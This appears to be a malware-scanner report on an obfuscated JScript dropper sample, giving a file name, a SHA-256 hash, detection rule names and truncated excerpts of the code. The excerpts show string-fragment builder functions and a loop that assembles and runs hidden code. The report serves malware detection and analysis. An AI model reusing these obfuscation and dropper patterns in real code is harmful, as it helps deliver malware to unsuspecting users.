Suspicious ^80% javascript-malware-collection Download

20150823_85753f646d868bdabc46c21b4cb95f4a.js

Obfuscated C2 dropper code

JScript obfuscated builder func patternCalls a this method named by concatenation

SHA-256109d21bb4ee652346e3b1a4b3bc93f1a0e5202250dbd3ae8519d634cffc85cef

Evidence

JScript obfuscated builder func pattern lines 1–4

1var stroke="5557545E0C160A240C160A0111160B14014A070B09";
2function okx190() { pqjq('ment'); return u(); };  function okx1() { pqjq('fun'); return u(); };  
3function okx196() { pqjq('"+st'); return u(); };  function okx208() { pqjq(' ('); return u(); };  
4function okx9() { pqjq('ac'); return u(); };  function okx147() { pqjq('ze >'); return u( …

fromCharCode path fragment lines 27–29

27:13… 183() { pqjq('","ht'); return u(); };  function okx65() { pqjq('fromC'); return u(); };  
28function okx51() { pqjq('ar'); return u(); };  function u() { return xb; };  
29function okx154() { pqjq('on' …

JavaScript empty-string accumulator initializer lines 56–59

56:48… ;  function okx123() { pqjq('eXOb'); return u(); };
57  var mjr = ''; var xb = '';  
58function okx178() { pqjq(' try'); return u(); };  function okx97() { pqjq('xo.'); return u(); };  
59function okx …

Calls a this method named by concatenation lines 68–69

68:892… nction okx221() { pqjq('; dl('); return u(); }; 
69for (var tb=1; tb<=223; tb++) { pqjq(this['okx'+tb]()); mjr += u(); } this[rk()+okx()](mjr);